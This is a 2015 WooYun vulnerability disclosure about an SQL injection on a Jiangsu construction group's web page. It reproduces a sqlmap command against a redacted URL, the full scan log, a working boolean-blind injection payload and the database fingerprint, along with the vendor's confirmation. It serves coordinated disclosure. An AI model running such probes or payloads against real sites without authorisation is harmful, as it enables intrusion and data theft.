当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0148971

漏洞标题:江苏省建工集团某页面存在SQL注射漏洞

相关厂商:cncert国家互联网应急中心

漏洞作者: linkey

提交时间:2015-10-24 20:36

修复时间:2015-12-12 15:20

公开时间:2015-12-12 15:20

漏洞类型:SQL注射漏洞

危害等级:低

自评Rank:3

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-24: 细节已通知厂商并且等待厂商处理中
2015-10-28: 厂商已经确认,细节仅向厂商公开
2015-11-07: 细节向核心白帽子及相关领域专家公开
2015-11-17: 细节向普通白帽子公开
2015-11-27: 细节向实习白帽子公开
2015-12-12: 细节向公众公开

简要描述:

RT

详细说明:

sqlmap:

python sqlmap.py -u "http://**.**.**.**/about/index.asp?id=1" --table


得出:

[07:07:43] [INFO] testing connection to the target url
[07:07:44] [INFO] testing if the url is stable, wait a few seconds
[07:07:46] [INFO] url is stable
[07:07:46] [INFO] testing if GET parameter 'id' is dynamic
[07:07:46] [INFO] confirming that GET parameter 'id' is dynamic
[07:07:46] [INFO] GET parameter 'id' is dynamic
[07:07:47] [WARNING] reflective value(s) found and filtering out
[07:07:47] [WARNING] heuristic test shows that GET parameter 'id' might not be injectable
[07:07:47] [INFO] testing for SQL injection on GET parameter 'id'
[07:07:47] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[07:07:49] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
[07:07:49] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[07:07:49] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[07:07:50] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[07:07:50] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[07:07:51] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[07:07:51] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[07:07:51] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[07:07:52] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[07:07:52] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[07:07:52] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[07:07:53] [INFO] testing 'Oracle AND time-based blind'
[07:07:53] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[07:07:53] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other injection technique found
[07:08:05] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[07:08:05] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using the --dbms option
[07:08:16] [INFO] checking if the injection point on GET parameter 'id' is a false positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection points with a total of 62 HTTP(s) requests:


结果:

---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 8724=8724
---
[07:08:57] [INFO] testing MySQL
[07:08:57] [WARNING] the back-end DBMS is not MySQL
[07:08:57] [INFO] testing Oracle
[07:08:58] [WARNING] the back-end DBMS is not Oracle
[07:08:58] [INFO] testing PostgreSQL
[07:08:59] [WARNING] the back-end DBMS is not PostgreSQL
[07:08:59] [INFO] testing Microsoft SQL Server
[07:08:59] [WARNING] the back-end DBMS is not Microsoft SQL Server
[07:08:59] [INFO] testing SQLite
[07:09:00] [WARNING] the back-end DBMS is not SQLite
[07:09:00] [INFO] testing Microsoft Access
[07:09:00] [INFO] confirming Microsoft Access
[07:09:00] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2008
web application technology: ASP.NET, Microsoft IIS 7.5, ASP
back-end DBMS: Microsoft Access

漏洞证明:

@5(MOT[)VT87U_6{M@{G@Z9.png

修复方案:

过滤

版权声明:转载请注明来源 linkey@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-10-28 15:19

厂商回复:

CNVD确认并复现所述漏洞情况,已经转由CNCERT下发给江苏分中心,由江苏分中心后续协调网站管理单位处置。

最新状态:

暂无


漏洞评价:

评价